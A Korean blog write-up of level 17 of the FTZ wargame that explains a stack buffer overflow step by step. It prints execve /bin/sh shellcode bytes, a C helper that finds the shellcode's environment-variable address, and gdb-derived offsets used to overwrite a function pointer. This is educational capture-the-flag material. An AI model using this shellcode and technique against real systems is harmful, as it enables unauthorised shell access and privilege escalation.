level17로 로그인한 후 hint 파일을 확인해보면, 역시 소스코드가 주어져 있다. level16과 마찬가지로 call에 printit가 들어가고 fgets를 통해 overflow가 일어나는데, 이번에는 shell을 얻게 해주는 함수가 없다.
shell을 얻게 해주는 함수가 없으므로 쉘 코드를 환경변수에 삽입한 뒤 주소를 구한 뒤, stack overflow를 통해 call의 값을 쉘 코드가 들어간 환경변수의 주소로 변조해주면 될 것 같다.
export 명령어로 쉘 코드를 환경변수에 등록한 뒤 미리 빌드해둔 tmp 폴더 내 env 파일을 실행해서 쉘 코드가 들어 있는 환경변수의 주소를 구했다.(앞에 \x90을 추가해준 이유는 \x90 없이 쉘 코드만 넣어준다면 제대로 쉘이 얻어지지 않기 때문이다.)
lev17 : 0xbffffe59
아래는 사용한 쉘 코드와 env의 소스코드다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
#include <stdio.h>
int main()
{
printf("%p\n", getenv("lev17")); // lev7 이름의 환경변수의 주소 출력
}
환경변수 등록 및 주소를 구했으므로 이제 buf와 call의 거리를 구하면 된다. 전 문제들과 마찬가지로 cp 명령어를 사용해 문제 파일을 tmp에 복사하고 gdb로 열었다.
fgets를 호출하는 부분인 main+28에 bp를 걸고 실행한 뒤 스택을 확인한다면 buf의 스택 주소를 알 수 있다. 또한 x/wx로 ebp-16을 확인하면 call의 주소를 알 수 있다.
buf : 0xbffff900
call : 0xbffff928
따라서 buf와 call의 거리는 40byte임을 알 수 있다. dummy 40byte를 채워준 다음 쉘 코드가 저장된 환경변수의 주소인 0xbffffe59를 little endian으로 입력해준다면 쉘을 얻을 수 있을 것이다.
마찬가지로 ; cat을 써주었다.
'Wargame > FTZ' 카테고리의 다른 글
[FTZ] level 19 (0) | 2021.06.09 |
---|---|
[FTZ] level 18 (0) | 2021.06.06 |
[FTZ] level 16 (0) | 2021.06.06 |
[FTZ] level 15 (0) | 2021.06.06 |
[FTZ] level 14 (0) | 2021.06.04 |